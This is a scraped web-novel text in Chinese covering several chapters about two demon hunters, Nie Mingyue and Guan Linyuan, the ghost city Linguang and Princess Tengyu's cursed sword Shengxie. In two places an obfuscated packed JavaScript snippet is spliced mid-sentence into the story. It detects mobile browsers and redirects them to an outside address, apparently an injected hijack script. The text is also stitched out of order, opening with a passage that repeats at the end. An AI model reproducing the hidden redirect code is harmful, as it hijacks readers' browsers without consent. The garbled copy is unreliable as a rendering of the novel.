“一定是我无法想象的疼痛,才会让你控制不了自己。”他看向她,又忍不住轻轻抱了抱她:“明月,我此刻的心里,也很疼。” 他经常拍她脑袋,原来是在心疼她。 每个人都知道她的能力,从未有人觉得,她需要被心疼。 “等从聂将军故乡回来,我就去找能去掉你体内异状的办法。”他做了决定。 聂明月却没有告诉他,他的师父在多年前提出了一个建议,她和唐槐已为之努力了多年。 因为她也不知道,找到计家后人、取得“锁沧海”、布局山海阵……种种事情,会在什么时候才有进展。 - 这几个月来,与语速慢、不愿多言的聂明月相比,平时话少的关临渊在心爱的姑娘面前,乐于分享一切,算得上超额输出了。 聂明月像个充满好奇的学生,吸收着来自世上另一个如她般神秘存在的信息:他的成长、捉妖往事,他听过、查过、判过的妖鬼案例…… 关临渊讲起往事时,像一个冷静的旁观者。 而她呢?说不出自己来历,讲不清楚过往,她所经历的,是她在人间的相聚与别离。 人类的悲欢,并不相通。 - 对关临渊越是了解,聂明月越是沉默。 她记得他师父道别时与她说过的每一句话,那位老人,对他们有所期待。 他在期待什么呢?那份期待,就是关临渊口中的天命法则吗? 什么样的前因,才会结成她与他现今的果? 而他们,会有什么样的结果? 她有太多事无法宣之于口,却有和他共赴因果的想法,着实有些可笑了。 - 聂明月察觉到心中的躁热与不耐,她撑开了应龙伞,希望能缓解异状。 她抬头看天。 关临渊同时发现了不对劲,应龙伞开,天必降水。 暮色之下,淮水之畔有一座古城,在蒙蒙雾气中隐隐出现。 两人对看一眼,关临渊说:“不对劲,那是陵光城!” 前方雾气重重,古城似乎被浓重水气环绕着,宛若鬼域。 “走吧,关大人。”照旧,她开路,他掩护。 “注意安全,聂女侠。”可莫要再不计后果地行侠仗义了。 - 关临渊边走,边向聂明月讲述陵光城的传说。 陵光城,源自春秋吴国一位早逝公主滕玉的陵墓。滕玉公主是吴王阖闾的女儿,备受宠爱。在她十四五岁时,因阖闾将吃了一半的蒸鱼给她,她觉得受了羞辱,丢了碗筷奔回卧室后,抽出短剑自杀身亡。阖闾悔恨不已,为公主举行了盛大的葬礼。 下葬那日,当庞大的送葬队伍与好奇的百姓一同走近墓冢时,突然有士兵出现,将他们驱赶到墓穴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655539|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,落下石门,所有人都成了滕玉的陪葬。 几千年过去,滕玉陵墓的具体位置已不可考,民间总有关于神秘陵墓与鬼城的传说。 渐渐地,公主的名字已被人遗忘,那座城在人们的口口相传中有了一个名字,陵光。 传说,陵光城因百姓冤魂的怨气而生,只要出现在某个地方,那个地方必定遭遇灾难。又有人说,不是陵光城带来的灾难,而是哪里有冤魂聚集,就会引来陵光城的出现…… - 两人行至城外,正好看见从淮水之中走出一列送葬队伍,缓缓走进城门。 其中最醒目的,是一支白鹤舞队。数百名舞者手持巨大的机关白鹤,竹子扎成的骨架上,蒙着白色绢布。当舞者拉动丝线时,白鹤的翅膀便会舒展开来,颈部轻轻摆动,宛如真的仙鹤在云端翩翩起舞。 “那是滕玉公主的魂啊,要乘白鹤升天了。”大家议论着。宽敞的街道可容纳数列马车并行,两旁挤满了前来观看的百姓。 送葬队伍走走停停,每到一处都会表演一段白鹤舞。渐渐地,越来越多的百姓被场面吸引,纷纷加入队伍。吴王的侍从不仅没有阻拦,反而还不时招手示意百姓靠近。 队伍来到了城中的宏伟建筑前。这座建筑以白玉筑成,门口有一片空旷的场地。当所有人都集中在此时,一声尖锐的哨声响起,数百名手持兵器的士兵突然冲出,开始驱赶着人群往建筑门内走去。 “往里走!都往里走!”士兵们用长矛逼迫着百姓。 聂明月不知道被谁推了一把,关临渊伸手环住她的肩,将她护住。 人群开始推搡起来,数万人如同被网住的鱼群,只能随着人流涌向门内。 “救命啊!” “放我们出去!” 凄厉的哭喊声此起彼伏,但很快就被更大的恐慌淹没。有人摔倒了,被后面的人群踩踏;有人试图转身逃跑,却被士兵的长矛刺伤。 混乱中,那队白鹤舞者也卷入人群,精美的白鹤被踩得粉碎,染上了触目惊心的红色。 随着一声沉闷的巨响,关临渊转头看去,他们进来的城门之上,有一堵石门缓缓降下…… 那些惊恐的喊叫声,随着石门的最终合拢,与众人一起被掩埋在黑暗之中。 - 关临渊低声问聂明月:“你还好吗?” 她伸手抓住了他:“幻境。” 整个陵光城,应该就是滕玉公主的陵墓。他们从墓门进入,在墓道上观看演出,又跟随着人群,进入了墓室中部。 如今,他们和那些绝望的百姓一般,困于两千多年前的墓穴之中。 两人在黑夜中无法视物,关临渊一手拉着聂明月,一手掌心向上,唤出一团幽蓝光影来。透过微弱的光亮,依稀可辨眼前是一条长长的墓道,路的尽头有光传来。 聂明月跟随在他身后,悄悄亮出了赤瞳。肉眼看见的墓道是白玉石壁,在她眼中却覆着一层厚厚的水汽。 “不要用手摸墙。”关临渊也发现了不对,头也不回地提醒她:“有邪灵之气。” 聂明月收回赤瞳,安静地被他拉着往前走。 - 当他们走出通道,眼前是一座白日之下的水上古城。 整座城市仿佛从江南水乡的怀抱中生长出来。主街沿河而建,铺着泛着光泽的青石板。街道两侧柳树的枝条,轻轻拂在水面上。 河道上有着大大小小的木桥。最近的那处,正有一个赤着脚的男人,肩上扛着长长的扁担,从桥上匆匆走过。一个船夫站在船上,木桨缓缓划过水面,船尾的竹筐里放满了新鲜的蔬菜。 纺织作坊里,纺车转动的嗡嗡声和女工们的说笑声交织在一起。木匠铺里的刨花纷纷扬扬,空气中弥漫着木材的清香…… 商贩们热情招揽着两个外乡人,正拉着关临渊,让他给心上人买最时兴的玉簪。 聂明月好奇地看了一眼,轻轻摇了摇头:不喜欢。 关临渊冲老板做了个无奈的神色,遗憾离开。 丝绸、陶器,叫不出名的珍奇物件……绣衣市经营各类服饰,豸冠市专卖帽饰。酒馆中的人们三三两两地聚在一起,说书人正绘声绘色地讲述着远方的奇闻逸事,引得众人时而惊叹,时而大笑。 好一派吴国都城的繁华盛景。 这就是吴王阖闾,为心爱的女儿打造的阴间鬼域! 48. 胜邪剑灵 人间行走指南: 【痛是爱过的痕迹。】 - 醉眼朦胧的滕玉公主斜倚在玉榻之上,殿前百名身着轻纱的舞姬正脱下响屟,准备起一新阕舞。 随着歌声传来,场中雪衣缥缈,仿若鹤之仙羽翩然若飞…… 滕玉百无聊赖地打了个哈欠。 殿外有两个外乡人缓步走来。滕玉看见背着黑伞的聂明月,眼前一亮,瞬间打起了精神,起身将手中的酒樽递予侍女。 “退下吧。”她清亮的嗓音落下,舞姬与侍女默然有序撤离。 “我还以为这一趟遇不到新鲜事呢。”她看着眼前的不速之客,慵懒而轻盈地说。 - 关临渊和聂明月并没有在水城街巷中停留,他们直奔皇城而来。 既然是阖闾为公主建的鬼城,城中地位最高的,当然是这位滕玉公主了。 少女穿着精致的锦衣,身形娇小秀美,一双眼睛明亮天真,丝毫看不出“自刎公主”的骄纵任性。 “说说吧,现在外面是什么世道?”她招呼两人坐下,眼中充满了期待。 关临渊见她身上没有妖邪气息,按下心中疑问,冲滕玉行了个江湖人的见面礼:“打扰了!” - 现在的情况和两人预想大为不同,聂明月寻得殿内一木几前,就地盘坐下来。关临渊随即坐在她身旁。 滕玉见他们极为见外,离她的位置甚远,并不放在心上,走到两人身前,也坐了下来。 三人围坐一处,场面略有尴尬。 滕玉知道他们的来意,先唤侍女端上酒水茶点,主动开口:“你们不要害怕,我不是坏人。我只是一个被拘在此处的可怜人罢了。” 她自来熟地说起自己的故事来。 - 滕玉作为阖闾最疼爱的小女儿,自小锦衣玉食。阖闾以公子光的身份逼宫成功后,成为新任吴王,得到了先王的诸多宝藏。 他将其中一柄名为“盘郢”的宝剑,作为及笄之礼送给了滕玉。据说那是欧冶子所铸的五柄稀世名剑之一。 滕玉爱及了那把剑,放于卧房之中整日把玩。 盘郢剑是阖闾得到的名剑中最短的一柄,仅有寻常宝剑的一半。也就是因为它看起来更为精巧,阖闾才专门挑来送给了她。 自那之后,滕玉心性逐渐变得乖张偏激,动不动就迁怒他人,才有了历史上因半条鱼愤而自刎的骄蛮公主的一笔。 “后来我才知道,那把剑,还有一个名字。”滕玉说起伤心事,脸上带着悲伤。 欧冶子在铸盘郢时,发现此剑之灵吸食邪怨之气而生。他自己也深受邪灵影响,因此没有将它铸成长剑,还为它起了个别名——“胜邪”,希望用它的人,能战胜剑上的邪气。 胜邪,其实是一把残剑。 - 滕玉死后,阖闾以万人陪葬,为她建了一座地下都城。万鬼之怨在陪葬物胜邪的影响之下,结成了妖魂。 城中百姓不断重复着送葬那日的场景,从清晨到夜晚,由生到死,几千年都无法从痛苦记忆中摆脱出去,这才有了鬼城的传说。 “我死之后,胜邪控制不了我的心智,我才知道发生了什么事。”说到这里,滕玉双眼泛红,为自己做过的错事懊悔不已:“但我从没有害过任何人。” 她不知道该如何才能帮助陪葬百姓得到解脱,整座城中,唯她一人知道事情真相。她尝试过很多办法,都做不出任何改变。 直到有一次,一个外来者的闯入。 滕玉指指聂明月放在身旁的黑伞:“那个人,当时也撑着这把伞。” 聂明月眼中闪过一丝诧异:“是谁?” “他叫……”滕玉突然一顿,豆大的眼泪簌簌落下:“计岐,他来自阴冥司。” - 关临渊心中一凛,这是他第一次听到阴冥司来人的具体姓名,不知道这个计岐是第几任的阴冥司大人。 聂明月一听姓计,凝神看向滕玉,等着她继续说下去。 “我对你们坦诚以待,就是因为看到了这把应龙伞。”滕玉抬起手背,擦去脸上的泪:“那时的计岐……是来抓我的。” 阴冥司的计岐大人,要缉鬼城之主滕玉,结果发现她并未作恶。 计岐本来是要走的,却对公主起了恻隐之心,留在城中帮她寻找脱身途径。 他找到了胜邪剑灵,也将其顺利诛杀,但是却不能找到带公主离开的途径。她似乎被永远禁锢在鬼城之中了。 历经多日之后,此事陷入了僵局。 - 独守鬼城百年的豆蔻少女,遇到风姿绰约的阴冥司大人,她对计岐起了爱慕之意。 对滕玉而言,那段时光是她死后唯一的美好回忆。 “你们二人……”滕玉从两人的神色中看出一些默契,语气中带着试探。 关临渊握住聂明月的手,点了点头。 “唉。”滕玉看着两人紧握的手,深深叹气:“喜欢一个人时,哪怕对方毫无回应,但想着只要在一起,独自甜蜜也是极好的。” “后来我才知道,那些过往终究会在漫长时光中淡去,当初有多喜欢,就有多刻骨铭心的痛苦回忆。” - 计岐最后为公主想了个办法。 “公主既因没有犯下业障,而不能被我带走,那不如反其道而行之——积攒功德,待到圆满之际,你以阴魂修炼成为阴灵,到时未必不能破城而出。” “那要多久?你会等我吗?”滕玉在意的只有这一个。 计岐皱了皱眉,对公主拱手道:“计某有自己的家族使命与阴冥司责任,恕不能接受公主的心意。” 他走的时候,滕玉只能留在城中看着他,那个撑着伞的背影,就是她对慕恋之人最后的记忆。 - 从那以后,滕玉开始尝试计岐留下的修炼法门,借城中万鬼之力,沿淮水一脉吸取世间的阴怨之气。吸食怨气越多,她能操控鬼城的出现范围越广。 她将人间怨气转为鬼城出没的灵力,不再让怨气危害人间,是为积攒功德之路。 待她成为真正的阴灵后,将鬼城的控制权完全掌握在手中。 有异乡人误入鬼城,她都以礼相待,如今天这般坐下来听对方说城外的新鲜事,关于世间的变化,她大多是知晓的。 最后她还会专门抹去对方在城中的记忆,将其好好地送出去。 渐渐地,民间就有了关于“陵光城”的故事。 - “六百多年前,有人进来,问我是不是就是传说中的河神无支祁。”滕玉有点生气,面上带着恼色:“后来我才知道,那些话本子上,传我是个面目可憎的水鬼模样。” 关临渊忍不住告诉她实情:“嗯,你最近一次,被传成了地下水城的城主‘水母娘娘’,是个可以兴风作浪的妖怪……我大概在二十年前的戏园子里看过那部戏。” 滕玉闻言嗖一下站了起来,气得直跺脚:“我把他们当客人,他们就出去胡乱编造我!” “这也不怪,他们的记忆,被你抹去,不全……”聂明月本想着安抚少女,结果滕玉一听,原来还是怪自己咯,更委屈了怎么办? 看着眼前急得要哭的公主,聂明月向关临渊投去了求助的目光。 女朋友不会聊天,关临渊只得主动转移话题:“所以,计岐当年是如何离开的?” - 此话一出,果然吸引了滕玉的注意力。 计岐在来到鬼城的第一天,就判断出是胜邪剑灵作怪。他成功诛杀胜邪妖魂后,得到了一把赤红的胜邪短剑。 滕玉从袖中拿出一把短剑来,上面不知何种材质制成,竟带着天然的血红之色。 “邪灵在殒灭之际,将幻境置于短剑之中,计岐是在破境之后离去的。” 虽胜邪已死,城中怨气却无法散去,滕玉依然无法脱身。 计岐在成为阴冥司大人之前,是个修士。雨师家族先人是炎帝神农部将,最懂水的属性。 他曾以果子酿酎酒,分三次追加原料,工艺之复杂,一缸酒需得一年的时间才能酿成。 - 在计岐的秘术加持下,酎酒酒质醇厚,新酿为淡青色,陈酒为金黄色,更陈年的酒则呈琥珀色。 常人饮之强身健体,修士及妖怪饮后可入幻境。 他走之前,送了滕玉一坛酒。如果后世有人进城,便可让其饮下此酒,入境后破境。 “所幸的是,这城每日都重复前日之事,那坛酒,我日日饮之不尽……” 他最终留下一句意味深长的话:“若有人能承其邪而不失本心,便能破城而出。”这成为滕玉多年苦思的难题。 - “就是这酒……”滕玉指向三人面前的玉石酒盏,酒体色如琥珀,在玉盏的光泽掩映下,隐隐生辉。 “你没闯过去?”聂明月问,依公主这跳脱的性子,不可能不饮酒入境。 “我每天拿酎酒当水饮,从未入过境,酒量倒是越来越好了。”滕玉苦着脸道:“千年间,我会向每个人讲起这个故事,几乎所有人都选择被我抹去记忆,平安送出去。只有四人主动饮酒入境,出境者仅三人。他们走之前,也不告诉我里面是什么样子。” “最后那人进去后,再也没能出来。从那以后,我就不把酒给外人喝了。客客气气招待一番,就把他们送出去。” “我觉得,在外面编排我故事的,就是那三个人!我送出去的人,都是被我抹去记忆的。”滕玉心下失望,明明她都很客气,为什么还要被说成是丑陋的妖怪啊? - 关临渊见聂明月盯着酒杯,知道她想要做什么。 他对滕玉说:“若公主信任我们,我们愿意试一试。”他对胜邪剑灵的幻境也有些好奇,计岐当年那句话,到底是什么意思? “我相信你们肯定能破境……”公主点了点头,正还要说些什么,聂明月就拿起面前的酒盏,将其一饮而尽。 关临渊无奈,也不再跟公主客气,马上喝下杯中酒。 “哎!”公主没想到这两人是个急性子:“我话还没说完呢,这是个单人幻境……” 你们本不用一起饮的。 - 这是聂明月第一次喝酒,醇厚酒体入喉,如丝绸般坠落,刚过片刻,腹中升腾起一股灼热之气。 她自觉脸颊发烫,伸手摸脸,手移开后,眼前已经换了一幅景象。 天空一片血红,大地之上黑气四溢,残尸血肉遍地。整个世界都如置身于火炉之上,炽焰四起。 远处有电闪雷鸣之声,道道划破天际,每一声振聋发聩,让她无法忍住心神震荡。 她强行压住体内的炙热气息,挪步向前方走去,才发现自己不知何时穿上了一袭青衣,上面布满了残血污痕,衣角碎裂不堪。 聂明月皱了皱眉,抬手想撕去残衣,却发现自己的手枯瘦如干柴,狰狞的指甲像道道弯钩,上面还带着血腥之气。 - 她直接用手覆面,脸面布满了褶皱和滚烫的纹路。她再低头看去,赤足枯槁,垂及地面的长发,竟然是莹白之色。 “关……”她想叫出一个人的名字,却怎么想也叫不出全名,反倒被自己嘶哑如兽般的声音惊到了。 前方传来打斗之声,两个巨大的身影正在缠斗。其中一人身高数丈,脸面侧影如狮兽之首,每出一招,便发出剧烈兽吼。 上方那道黄色影子,盘旋于半空之中,时不时趁巨人露出破绽之际,激出一道水剑。 随着她的靠近,空中长影显现,一条黄龙从黑云之中露出长尾。黄龙见她走近,口吐人言:“你怎么回来了?” 她初来此地,被熟悉的声音这么一问,愣于当场:回来?这里是人间?还是修罗场?到底是什么地方…… - 一声龙吟之后,画面一转,奔涌江面上洪水滔滔。她正持一把赤色短剑,刺入眼前男子身体。 如瀑的暴雨淋湿了她的黑发,将她的衣袍通体浸湿。剑入肉骨之际,她抬起头来才发现,那人是熟悉的脸…… “关临渊!”她终于叫出了他的名字。关临渊满身鲜血,倒在了她的怀里。 她无措地看着自己的手,莹白的手上沾满了他的血。她不知道方才发生了什么事,也不知道此时自己做了什么。 眼看着关临渊断绝了生机,随着他闭上眼睛,自己的心也被撕成了碎片,疼痛不已…… - “呵呵,原来你是个上不得台面的低贱妖物。”一道声音冷恻恻地传来。 她回头,四下环顾,没有找到对方在哪里。 “你找不到我的。这是我的境,我无处不在。”那人语气中透着邪气:“初见你时,见你有上神修为,还以为你有多大能耐呢。” “看看你心里,多么不堪,多么令人作呕啊!满嘴斩妖除魔,伸张正义,结果还不是亲手杀死了自己的爱人……” “胜邪?”聂明月心知自己身处妖境,眼前不过是剑灵做出来的幻象,她凝神聚气,脑中飞速盘桓着所有信息。 “没用的。你以为这是我制造的假象?”它桀桀怪笑:“我本邪剑之灵,吸取的是生灵邪气。你邪气越盛,所见场面越久远。我看看……这是哪里……” “咦,这里居然是……”对方语气中透着惊讶,也不知道出于什么原因,强压住后面的话不说出来。 - 聂明月将关临渊轻轻置于地上,她清楚知道,只有成功破境,关临渊才有活下来的机会。 “你生气啦?你有什么可生气的?这不就是你做过的事情、心中的邪念吗?”它话里全是嘲笑。 “你不敢面对你的过往,还要假惺惺跟曾被你亲手杀害的人谈情说爱……啧啧,比我还卑鄙!” 聂明月不顾它的言语激怒:“不就是个剑灵?也有这么大的口气?” 她冷笑一声,思及计岐为滕玉留下的那句话。 “承其邪而不失本心……”她默念着,如果此境是她多年前的记忆之一,难道是曾因亲手杀死了前世爱人,而选择将自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686404|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己放逐在海底? 不失本心。不管是真是假,我聂明月,绝不是为了逃避过往而放弃自己的人! 这,不会是我的本心。 - 她亮出赤瞳看向四周,奔流的江水、关临渊的尸体……皆是幻像。她明明还身在大殿之中。 手中的赤色短剑……却是真实存在的。 她找到了破境之路,关键在于—— 承其邪。 聂明月闭上眼,嘴角浮现出一抹淡淡的笑意,她抬起剑刃,朝自己的胸口刺去。 这一剑刺入胸膛,幻境中的所有怨气瞬间消散,满天幻像也随之崩塌。 当聂明月再次睁开眼睛时,她依然站在皇庭殿内,而手中的胜邪剑已经变得洁白如雪,邪气尽散。 “放弃自己,不是我的本心,而是我的邪意。” - 她出来得过快,对于滕玉来说,不过又斟满一杯酒的时间。 滕玉一脸不可思议:“你太厉害了!你的同伴也进去了,还没有出来。” 聂明月这才知道,这是每个人单独直面自己内心邪意的幻境。 如果她一开始就知晓,也许出来得还没有这么快吧。 她虽脱困,但想着仍未出境的关临渊,不由猜测,他会在幻境中看到自己吗?会看到那只不堪的、卑劣的、丑陋的低等恶妖吗? 如果胜邪的话是真的,那亲手杀死关临渊,是过往的记忆,还是未来的预告? 想到这里,她心下甚是烦躁,时间太短,酒气还未散去。 她端起滕玉面前的酒,又一口饮了下去。 - “……还能进去一次?”滕玉也没有验证过,期待她的反应。 只见聂明月双颊绯红,眼睛慢慢变直,身体忍不住轻轻一晃—— 她笑着滕玉说:“不就是个鬼城吗?等我把它全部毁了去……” 说罢,她就跑去殿外,立于皇城中央的祭台之上。唤出灵台明堂,一座神山凭空出现,光华辉映,将整座陵光城照得纤毫毕现。 城民见到天有异象,纷纷出门抬头观望,只见一名黑衣女子,如天神降临于高台,神山彩霞璀璨。 她的手挥向哪处,强大灵力便倾泻而去,瞬间屋倒房塌,百桥千水尽数被毁…… 几息之后,随着神山隐去,整个陵光城陷入一片死寂,就像从下往上被翻了个身,无一片完好之地…… “哎呀,你这是在做什么呀!”滕玉公主急得跳脚。 上房揭瓦这招她用过,没有用的! - 不对,这位女侠,应该是在耍酒疯吧? 滕玉见城民惊慌一片,虽是亡魂,她也不忍心让他们受到惊吓,连忙将聂明月扶了下来,带回大殿内。 刚进门,迎面遇上了出境的关临渊。 “这是怎么了?”他见聂明月连路都走不稳了,心下焦急,以为她受了伤。 “喝醉了。把我陵光城都给推平了!”滕玉只觉得好笑。 关临渊将聂明月拦腰抱起,在公主的安排下,放到寝宫中休息。 - 安顿好聂明月,关临渊对滕玉说:“如果你愿意,可否让我为你权衡下功德?” 公主已是鬼修成灵,在没有死亡的情况下,关临渊需得经过她的允许后,才可量骨察看。 滕玉闻言,神色有些紧张。犹豫片刻后,点了点头。 关临渊唤出獬豸尺,施术游走于公主周身。几番操作之后,他开始掐指计算。 “你其实早在三百年前便已经功德圆满,为何没有出城的意愿?”他好奇地问。 滕玉怔了一下:“真的吗?”她有点不敢相信自己的耳朵,这件事早就成了? “是的。”关临渊点头,“你之所以一直进不去幻境,是因为你心无邪念,全然赤子之心。” 今日结交这位传说中以娇气闻名的公主,才发现她是天真坦荡之人,否则当年她染上邪气之时,就直接刺死阖闾,而不是挥剑自刎了。 “按理说,如果你这期间有过出城的想法,应该早就离去了。” 滕玉咬了咬唇,双眸中有水光晃动:“……我……我也不知道啊。关大人,且容我先想想……” - 关临渊点头。“另外,你说出去的人编造你的怪相,我想,他们说的丑陋妖怪并不是你,而是在幻境中无法面对的自己……”他结合自己境内所见,将结论告诉了滕玉。 至于计岐,按照阴冥司的规定,他应该先将城中亡魂带走。当年在境中看到了什么,才导致他仓促离去呢? 他心中疑惑甚多,但先对滕玉说:“在你做下决定之前,我可不可以求你一件事?” 滕玉闻言,有些惊讶:“我有什么能帮忙的?你尽管说。” 关临渊的分析让她极为开心,原来不是那些人故意抹黑她。 - “你曾说过,常人进城,你会消除他们的记忆再送走。你能不能帮我……”他转头看向熟睡中的聂明月,这也是相识以来,他所知的她第一次真正的睡眠。 “……能不能帮我消去她的今日记忆?”他又看向了滕玉。 “为什么呀?”滕玉不解,聂小姐不是他的爱人吗?今天在城中发生的事,为什么不要她记住? “我在幻境中,看到一些事情。如果她也看到同一件事的话,清醒过来,可能很难接受……”关临渊只将话说到此,没有继续。 “我需要提醒你,女孩子可能并不想让你代她做出这个决定。”滕玉抹去忍不住的眼泪,关临渊的话让她想起了过去的很多事。 “但我愿意帮你!见到有姑娘被人这么呵护在意着,我也替她开心。” - 夕阳之下,关临渊抱着依然沉睡的聂明月,被滕玉送到城门口。 看着水乡美景变成如今断壁残垣的惨状,得知是聂明月喝醉后所为后,关临渊忍不住道歉:“尽管我知道,马上就会恢复如初,但我依然很抱歉……” 滕玉摇头:“没关系的,反正我也看了几千年,都腻了,换个样子还挺新鲜。” “你真的想好了?不走了?”他对滕玉的最终选择也很好奇。 “嗯。既然我能功德圆满,证明这件事是对的,我想继续做下去。关大人帮我收走了城民亡魂,我感激不尽。接下来的事情,就交给我吧。” 她决定将陵光城继续留在淮水之下,以真正的水妖身份守护她的故土家乡。如果世间再有灾难,她就出来消解守护。 “希望我以后也不用再出现了,这就证明了,人间很好,再也没有战乱和怨气!” 她最后说:“如果你有机会见到计岐……哪怕不再是当初那个计岐——” “麻烦你帮我转告他。我滕玉,从没后悔过喜欢他!” 晚霞照在少女公主的脸上,熠熠生光。 - 一个时辰之后,陵光城于淮水河畔悄然消失。 人间若无怨气,便没有人能见到那座城,与城中美丽的公主。 49. 幽邙临渊 人间行走指南: 【人类常将不由己的事称为定数,唯有心动除外。】 - 今日的太阳压得很低,懒散地轻轻一跃,便随意挂在了树顶。 树下的关临渊睡得正沉,丝丝缕缕的阳光从树叶中投下来,他挺直的鼻梁上,几朵斑驳光影轻微闪动。 聂明月揪着一根细长的草叶,百无聊赖地衔在口中。过了一会儿,她试着也躺下来,光照晃眼,让她忍不住侧过头,正好对上关临渊的脸,甚至能感受到他温热的呼吸。 - 他们赶了几天路,从淮东走到了淮南,夜里都没有好好休息。路过此处时,关临渊突然说:“给我一刻钟的时间。” 说完他便坐了下来,顺势躺在草地上,陷入了沉睡。也就是因为聂明月在身边吧,他才能如此毫不设防。 “我大概和人还差得很远。”聂明月想,她从不需要睡觉。 入眠对她来说,不过就是闭着眼等待天亮而已。她是从海上醒过来的,不知道已睡了多久,以至于几十年下来,都不曾有过真实的睡意。 睡梦中的男人,没有关大人的冷冽严肃,也没有关临渊的调侃轻松。 他的眉毛浓而直,低低地压着眼睫,斜入鬓间;眉骨交汇处像两座山峰突兀地凹下去,形成了一道窄而厚的山根,从鼻梁延伸到鼻尖,硬朗地起伏着。 他的嘴唇略薄,此时正因午后的阳光而微微发红,两瓣唇的线条清晰分明,让她忍不住伸出手,从唇角到唇峰,一遍又一遍虚虚勾勒着轮廓…… 时光漫长,又行进突然。 - 关临渊醒来时,正好与聂明月四目相对。聂明月来不及收回好奇的手指和眼神,被他看了个正着。 “吵醒你了?”她有点不好意思,关大人好不容易睡一觉,她还扰人清梦了。 关临渊抓住她的手指,俯身过来,伸出胳膊枕至她的脑后,自上而下看着她:“你对我的嘴这么好奇?” 说罢不待聂明月解释,轻轻压了上去…… 恋人的亲吻,是午后小憩醒来最好的礼物。 - 此时已是草长莺飞的三月。这几个月,聂明月和关临渊一直在外行走。大多数是为了捉妖,其他时候并没有目的地。 不管身在何处,只要两人同行,就是一趟奇妙的旅程。 现在他们要赶往淮南地区。这是聂明月提出来的,她的父亲原籍淮南,既然到了南方,她想去聂将军出生长大的地方看一看。 关临渊欣然应允。他曾听过师父与聂明月相识并打赌的事,那位了不起的聂将军,和他了不起的愿望,让他心生向往与尊重。 其实聂明月还有个私心。人类都是有故乡的。她不知道自己来自何方,但与关临渊一同去往将军的故乡,好像就多了一重意味。 她还来不及整理更深层次的意义。她向来顺从内心所想,所以走到了这里。 - 两人边走边说话,聊起了法器。聂明月对他的铁尺好奇,关临渊便将其招了出来。 聂明月将铁尺握在手中,分量沉得有点出乎她的意料。十五年前,关临渊就是用这把铁尺,让她肺腑受伤至吐血。 关临渊并不知道,迄今为止,他是唯一可以伤到她的人。 说是铁尺,看起来更像是一柄短剑,其上粗下细,锋利的刃口上铭刻着古老的符文。 握柄处刻有一个独角兽头的图案,看不出是什么动物,却能感觉到它炯炯目光中带着的审视之色。 - 自唐代起,铁尺便被官府捕快别在腰中,它既是轻便的武器,也是一种身份象征。 以尺为武器并不少见,它可挑可刺,进退自如。民间有专门用尺的武学门派与技艺,各家均有独门套路和身法与之配合。 这把铁尺是历届阴冥司大人的信物,由关临渊的师父传于他,不仅是法器的交接,更是阴冥司的责任传承。 “什么材质?”聂明月将它翻来覆去打量,摸起来没有金属质感,看起来是天然骨质的沉浆乌青之色。 “獬豸的角。”关临渊解释道。獬豸乃上古神兽,因能断是非真假,被视为审判与公正的代表。 “只有大修为的修士,才能有自己的本命法器。本命法器同时成就了修士的进阶。”这更像是重要的伙伴和搭档。 “师父赠你的应龙伞,就是他的本命之物,由阴冥司第一任大人亲手所制,取自应龙之骨,所以才被称为应龙伞。” 聂明月正背着那把伞,她此时才知道,应龙伞对那位大人如此重要。 他将伞赠予她,其中深意……她垂下了手,将铁尺递回。 - 武器有了器灵,才会被称作法器。 “我修为尚浅,将将千年,獬豸角尺虽为我所用,却还不是我的本命法器。”关临渊道。 他于千年前在冥池之中诞生。经过多年修炼,方得此次上任。 “那我以后,送你一个。”聂明月将这件事放在心上。 - 关临渊没有在意。武器生灵,和本命器灵,两个都是可遇不可求的,是为命中注定。 “五百年换任。你的下一任,此时在哪里?”聂明月好奇。 “不知道,师父并没有交代。但他说过,阴冥司应天命而生,凡事皆有因果。时机到了,自然会出现。” 他自幼便在冥池中长大,与妖魔鬼怪的亡灵打交道,深知天命法则不可探寻和违背,这也是他的信念。 正是有了这般的信念,才能让他在权衡功过时,秉持公正,绝无偏颇。 - 两人在一起的时候有说不完的话。 “听说,你以前是正常说话的?”关临渊对她也有好奇。 “嗯。第一次,从妖境出来,失智了。”她断断续续说着当年太行山中的经历。 关临渊听到她被卖到了勾栏院,拍了拍她的头。 “一定是我无法想象的疼痛,才会让你控制不了自己。”他看向她,又忍不住轻轻抱了抱她:“明月,我此刻的心里,也很疼。” 他经常拍她脑袋,原来是在心疼她。 每个人都知道她的能力,从未有人觉得,她需要被心疼。 “等从聂将军故乡回来,我就去找能去掉你体内异状的办法。”他做了决定。 聂明月却没有告诉他,他的师父在多年前提出了一个建议,她和唐槐已为之努力了多年。 因为她也不知道,找到计家后人、取得“锁沧海”、布局山海阵……种种事情,会在什么时候才有进展。 - 这几个月来,与语速慢、不愿多言的聂明月相比,平时话少的关临渊在心爱的姑娘面前,乐于分享一切,算得上超额输出了。 聂明月像个充满好奇的孩童,吸收着来自世上另一个如她般神秘存在的信息:他的成长、捉妖往事,他听过、查过、判过的妖鬼案例…… 关临渊讲起往事时,像一个冷静的旁观者。 而她呢?说不出自己来历,讲不清楚过往,她所经历的,是她在人间的相聚与别离。 人类的悲欢,并不相通。 - 对关临渊越是了解,聂明月越是沉默。 她记得他师父道别时与她说过的每一句话,那位老人,对他们有所期待。 他在期待什么呢?那份期待,就是关临渊口中的天命法则吗? 什么样的前因,才会结成她与他现今的果? 而他们,会有什么样的结果? 她有太多事无法宣之于口,却有和他共赴因果的想法,着实有些可笑了。 - 